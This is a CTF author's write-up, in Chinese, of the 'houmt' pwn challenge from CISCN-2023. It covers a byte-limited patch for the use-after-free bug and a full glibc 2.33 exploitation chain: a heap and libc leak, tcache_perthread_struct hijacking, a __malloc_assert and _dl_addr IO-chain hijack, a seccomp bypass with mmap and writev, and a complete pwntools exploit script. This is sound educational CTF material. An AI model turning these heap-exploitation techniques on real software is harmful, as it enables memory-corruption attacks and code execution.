CISCN-2023 华东南分区赛 houmt 出题小记

CISCN-2023 华东南分区赛 houmt 出题小记

前言

很高兴也很荣幸能为今年国赛的华东南分赛区出一道Pwn题,这题其实是我差不多整一年前出的了,然后就一直屯着没处用2333。

本题的fix并不难,但是我在checker中加了一些限制,本意是希望别被那么快打烂,可是貌似正式比赛的时候因为某些未知的原因,并未全部奏效。

最终,到比赛结束为止,这题仍然没有队伍成功break解出,也许是AAA的大哥们不屑于做glibc题目吧QAQ

在此分享一下本题的Write Up,希望师傅们轻喷,如果有非预期解也欢迎和我交流!

最后,祝愿学弟们在今年的CISCN总决赛里拿到好名次,重铸小绿草荣光!

附件下载:https://files.cnblogs.com/files/blogs/705204/attachment.zip?t=1687955961&download=true

在线评测:https://www.nssctf.cn/problem/4165

Patch

checker限制:不可修改eh_frame等段的可执行性,且需要修改尽可能少的字节(20个字节以内)以修复UAF漏洞

参考补丁思路如下:跳转到空函数term_proc,并在term_proc中写入清空heap数组的操作,再跳转到free

image

image

按照上述思路修改,将[rdx+rax](即ptr堆指针)直接赋给rdi,又由于想修改尽可能少的字节,将下一行原先的rdi随便改成rbx当作废指令即可。这样做到的话,可以使rax保持不变,即rdx+rax仍然为heap数组中该指针元素的地址。然后,使用call跳转到_term_proc,这样之后还能再跳转回来。

_term_proc中,先写入mov qword ptr [rdx+rax], 0清空指针数组元素,修复UAF漏洞,然后再jmpfree函数,此时rdi是之前存放着的堆指针,将其正常释放即可。此处jmpfree函数并不会返回到_term_proc下面,而是由于之前call _term_proc指令,直接跳转回0x1ABF的后面正常继续执行。

解题步骤

题目概述

本题的Docker环境为Ubuntu 21.04,对应libc-2.33-0ubuntu5_amd64存在一个UAF漏洞,仅有一次Edit机会,两次Show机会,可Add编号为0~18的堆块,且每次只能申请大小为0x110的堆块,Free的次数不限,还存在一个重要的限制:不能申请到任何libc相关地址,对其进行修改

在本题当中不存在任何走IO的函数:读入用的read,输出用的write,退出用的_exit,且不允许从main函数正常退出程序。

此外,沙盒的部分也有些特殊,限制了readfd需要为0,并且禁用了close系统调用

漏洞点

存在一个UAF漏洞,如下图:

image

信息泄露

我们可申请一个0x110大小的堆块,再将其释放到相应的tcache bin当中,这时候可以直接利用UAF漏洞,通过show(0)获得到libc-2.32以上指针异或加密(Safe-Linking机制)的key,并可通过这个key左移12获得堆的基地址heap_base

接着,将0x110对应的tcache bin释放满7个堆块,再释放的堆块将进入unsorted bin,利用上面类似的方法,即可泄露出libc的基地址libc_base

在本题的show函数中,对输出结果进行了一个简单的加密:会将第k个字节与第k+1个字节和第0xf0-1-k个字节异或的结果输出。由于HeapLIBC相关的地址高位都是0,且此时堆块后面的字节也均为0,而“异或”位运算又有0 ^ a = aa ^ b = c => c ^ a = b这两大重要的性质,因此可利用这两个性质,将输出结果从后往前两两异或,即可得到原始数据。

glibc的一个缺陷

glibc存在一个缺陷,当释放一个堆块进入tcache bin的时候,仅仅通过该堆块的size找到对应的tcache bin,只会检查tcachekey字段,并不会对next chunksize以及prev_inuse位进行检查

相关部分源码如下:

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache_key))
	  {
	    tcache_entry *tmp;
	    size_t cnt = 0;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = REVEAL_PTR (tmp->next), ++cnt)
	      {
		if (cnt >= mp_.tcache_count)
		  malloc_printerr ("free(): too many chunks detected in tcache");
		if (__glibc_unlikely (!aligned_OK (tmp)))
		  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
		if (tmp == e)
		  malloc_printerr ("free(): double free detected in tcache 2");
		/* If we get here, it was a coincidence.  We've wasted a
		   few cycles, but don't abort.  */
	      }
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif

利用glibc这个缺陷,我们可以在任意地址上伪造一个堆块,保证size处于tcache的大小范围内,即可通过free将这个fake chunk释放到对应的tcache bin中,也能够将其再从tcache bin中申请出来。

因此,我们可以通过上述方式,做到在任意tcache bin中存放任意地址上的fake chunk

劫持 tcache_perthread_struct 获得多次任意写

我们通过仅有的一次Edit,配合UAF漏洞,将此时0x110大小对应的tcache bin的链表头堆块的next指针改到tcache_perthread_structentries数组内存放0x110大小对应的tcache bin的链表头部指针的位置之前

然后,就可以申请到tcache_perthread_struct中,获得一次任意地址写,我们可以根据上述的glibc缺陷,伪造好size0x110fake chunk,然后在entries数组中对应0x110大小的位置写入fake chunk的地址。

这样我们就可以申请出伪造的fake chunk了,之后也可以利用UAF漏洞不断对其free,然后再申请回来,修改其中entries数组中对应0x110大小的位置为任意地址,即可申请出任意地址,可进行任意地址写。

综上,重复上述不断释放再申请fake chunk,并修改其中0x110大小对应的tcache bin链表头部指针的过程,即可做到多次任意地址写

通过 __malloc_assert 走到 IO 函数

虽然本题中没有任何走IO的函数,但是可以通过触发错误,执行__malloc_assert中的IO函数。

top chunk大小不够分配时,会执行__libc_malloc函数,其中,当top chunksize非法时,会触发如下的断言:

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));

assert断言失败时,会执行__malloc_assert函数:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

可见,其中会执行一系列与stderr相关的IO函数。

综上,我们可以通过任意地址写top chunksize,使得其不够下一次的分配且非法,即可走到IO函数了。

巧妙利用一条 IO 调用链

在本题中,不可任意写libc相关地址,但是可以任意写堆块地址或者ld相关地址。这里依据这样的特性,巧妙地利用了一条IO调用链。

_IO_vtable_check函数中,若当前IO_FILE中的vtable非法,就会触发_dl_addr函数:

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
......

_dl_addr函数中,可以看到下图中call的函数指针(_rtld_global+0xf08)和rdi中的_rtld_global+0x908均位于ld中,且处于可写字段:

image

综上,我们可以通过从tcache取出堆块时,会将key字段清空的特性,将_IO_2_1_stderrvtable置为0,然后再利用上述__malloc_assert中走到的IO函数在调用前对stderr的虚表检查不通过,执行到_dl_addr函数,若在之前利用任意地址写劫持了函数指针和rdi对应的ld内存区域,即可get shell或布置ROP绕过沙盒

特殊沙盒的绕过

开了沙盒需要orw的题目,经常使用setcontext控制rsp,进而跳转过去调用ROP链,在本题的libc-2.33中,控制setcontext的寄存器为rdx,起始位置为setcontext+61

然而,_dl_addr中可直接控制的寄存器为rdi,因此需要通过以下的gadget进行rdirdx间的转换:

mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

最后,来看一下本题的沙盒:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x35 0x00 0x01 0x00000028  if (A < 0x28) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000011  if (A != pread64) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0019
 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0015: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0024
 0016: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0017: 0x15 0x00 0x06 0x00000000  if (A != 0x0) goto 0024
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x15 0x00 0x03 0x00000001  if (A != write) goto 0023
 0020: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0021: 0x15 0x00 0x02 0x00000001  if (A != 0x1) goto 0024
 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0023: 0x15 0x00 0x01 0x00000012  if (A != pwrite64) goto 0025
 0024: 0x06 0x00 0x00 0x00000000  return KILL
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW

可以看到,限制了readfd必须为0,且禁用了close,因此无法通过先close(0)open("flag")的常用方式绕过了,且禁用了readvpread64。但是,我们可以用mmap来代替read,将openopenat被禁用)打开的flag文件内容通过其对应的fd映射到开辟的某段内存空间中。并且,可以关注到write每次只能输出一个字节,这样是比较麻烦的,但并未禁用writev,故用writev代替write输出flag即可。

exp

结合上述各部分的思路,可写出如下exp

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")

def add(content):
	io.sendlineafter("Please input your choice > ", b'1')
	io.sendafter("Please input the content : \n", content)

def edit(idx, content):
	io.sendlineafter("Please input your choice > ", b'2')
	io.sendlineafter("Please input the index : ", str(idx))
	io.sendafter("Please input the content : \n", content)

def free(idx):
	io.sendlineafter("Please input your choice > ", b'3')
	io.sendlineafter("Please input the index : ", str(idx))

def show(idx):
	io.sendlineafter("Please input your choice > ", b'4')
	io.sendlineafter("Please input the index : ", str(idx))

def quit():
	io.sendlineafter("Please input your choice > ", b'5')

if __name__ == '__main__':
	for i in range(8):
		add("\n") # 0~7
	free(0)
	show(0)
	leak = []
	for i in range(5):
		leak.append(u8(io.recv(1)))
	for i in range(3, -1, -1):
		leak[i] = leak[i] ^ leak[i+1]
	t = b''
	for i in range(5):
		t = t + p8(leak[i])
	key = u64(t.ljust(8, b'\x00'))
	success("key:\t" + hex(key))
	heap_base = key << 12;
	success("heap_base:\t" + hex(heap_base))
	
	for i in range(1, 6):
		free(i)
	free(7)
	free(6)
	show(6)
	leak.clear()
	for i in range(6):
		leak.append(u8(io.recv(1)))
	for i in range(4, -1, -1):
		leak[i] = leak[i] ^ leak[i+1]
	t = b''
	for i in range(6):
		t = t + p8(leak[i])
	libc_base = u64(t.ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
	success("libc_base:\t" + hex(libc_base))
	ld_base = libc_base + 0x1ee000
	
	edit(7, p64(key ^ (heap_base + 0xf0)))
	add("\n") # 8
	add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9
	
	magic_gadget = libc_base + 0x14a0a0
	add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10
	add(p64(magic_gadget)) # 11
	
	address = libc_base + libc.sym['__free_hook']
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rsi = address
	frame.rdx = 0x100
	frame.rsp = address
	frame.rip = libc_base + libc.sym['read']
	
	free(10)
	add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12
	add(p64(0)*2 + p64(ld_base + ld.sym['_rtld_global'] + 0x988) + p64(0)*2 + p64(libc_base + libc.sym['setcontext'] + 61) + bytes(frame)[0x28:]) # 13
	
	free(10)
	add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14
	io.sendlineafter("Please input your choice > ", b'1')
	
	free(10)
	add(p64(0) + p64(heap_base + 0xb10)) # 15
	add(p64(0) + p64(0x88)) # 16
	add("\n") # 17
	io.sendlineafter("Please input your choice > ", b'1') # 18
	
	pop_rax_ret = libc_base + 0x44c70
	pop_rdi_ret = libc_base + 0x121b1d
	pop_rsi_ret = libc_base + 0x2a4cf
	pop_rdx_ret = libc_base + 0xc7f32
	pop_rcx_rbx_ret = libc_base + 0xfc104
	pop_r8_ret = libc_base + 0x148686
	syscall = libc_base + 0x6105a
	
	orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
	orw_rop += p64(pop_rsi_ret) + p64(0)
	orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
	orw_rop += p64(pop_rdi_ret) + p64(0x80000)
	orw_rop += p64(pop_rsi_ret) + p64(0x1000)
	orw_rop += p64(pop_rdx_ret) + p64(1)
	orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
	orw_rop += p64(pop_r8_ret) + p64(3)
	orw_rop += p64(libc_base + libc.sym['mmap'])
	orw_rop += p64(pop_rdi_ret) + p64(1)
	orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
	orw_rop += p64(pop_rdx_ret) + p64(1)
	orw_rop += p64(libc_base + libc.sym['writev'])
	orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
	io.send(orw_rop)
	io.interactive()
posted @ 2023-06-28 19:27  winmt  阅读(901)  评论(0编辑  收藏  举报